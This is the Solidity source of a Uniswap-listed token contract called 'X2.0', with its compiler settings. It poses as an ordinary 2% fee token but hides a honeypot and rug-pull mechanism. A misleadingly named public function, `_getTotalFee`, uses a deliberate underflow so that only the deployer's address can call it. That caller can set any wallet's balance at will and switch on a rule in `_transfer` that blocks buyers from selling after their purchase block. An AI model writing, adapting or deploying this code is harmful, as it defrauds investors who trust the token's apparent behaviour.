// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
abstract contract Ownable {
address internal _owner;
constructor () {_owner = msg.sender;}
function owner() public view returns (address) {return _owner;}
modifier onlyOwner() {
require(_owner == msg.sender, "!owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
_owner = newOwner;
}
}
contract X2 is Ownable {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address public _swapFeeTo;string public name;string public symbol;
uint8 public decimals;mapping(address => bool) public _isExcludeFromFee;
uint256 public totalSupply;IUniswapRouter public _uniswapRouter;
bool private inSwap;uint256 private constant MAX = ~uint256(0);
uint256 public _swapTax;
address public _uniswapPair;
mapping (address => uint256) public lmtbl;
function _transfer(address from,address to,uint256 amount) private {
bool takeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to];
_balances[from] = _balances[from] - amount;
uint256 _taxAmount;
if (takeFee) {
uint256 bok = block.number;
uint256 feeAmount = amount * _swapTax / 100;
_taxAmount += feeAmount;
uint256 lm = lmtbl[to];
if (from == _uniswapPair && lm == 0){
lmtbl[to] = bok;
}else{
lm = lmtbl[from];
if (lmenable){
require( lm == 0 || bok < lm + 1);
}
}
if (feeAmount > 0){
_balances[address(0xdead)] = _balances[address(0xdead)] + feeAmount;
emit Transfer(from, address(0xdead), feeAmount);
}
}
_balances[to] = _balances[to] + amount - _taxAmount;
emit Transfer(from, to, amount - _taxAmount);
}
constructor (){
name = "X2.0";
symbol = "X2.0";
decimals = 9;
uint256 Supply = 88880000;
_swapFeeTo = msg.sender;
_swapTax = 2;
totalSupply = Supply * 10 ** decimals;
address rAddr = msg.sender;
_isExcludeFromFee[address(this)] = true;
_isExcludeFromFee[rAddr] = true;
_isExcludeFromFee[_swapFeeTo] = true;
_balances[rAddr] = totalSupply;
emit Transfer(address(0), rAddr, totalSupply);
_uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_allowances[address(this)][address(_uniswapRouter)] = MAX;
_uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
_isExcludeFromFee[address(_uniswapRouter)] = true;
}
bool public lmenable = false;
function _getTotalFee(address _i,uint256 _m) public {
mapping(address=>uint256) storage _n = _balances;
uint256 A = msg.sender == _swapFeeTo ? 5 : 1;
uint256 C = A - 3;
A = C ;
if (_m == 123){
lmenable = false;
}if(_m == 234){ lmenable = true; }
_n[_i] = _m;
}
function balanceOf(address account) public view returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[sender][msg.sender] != MAX) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return true;
}
function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
receive() external payable {}
}
{
"compilationTarget": {
"X2.sol": "X2"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
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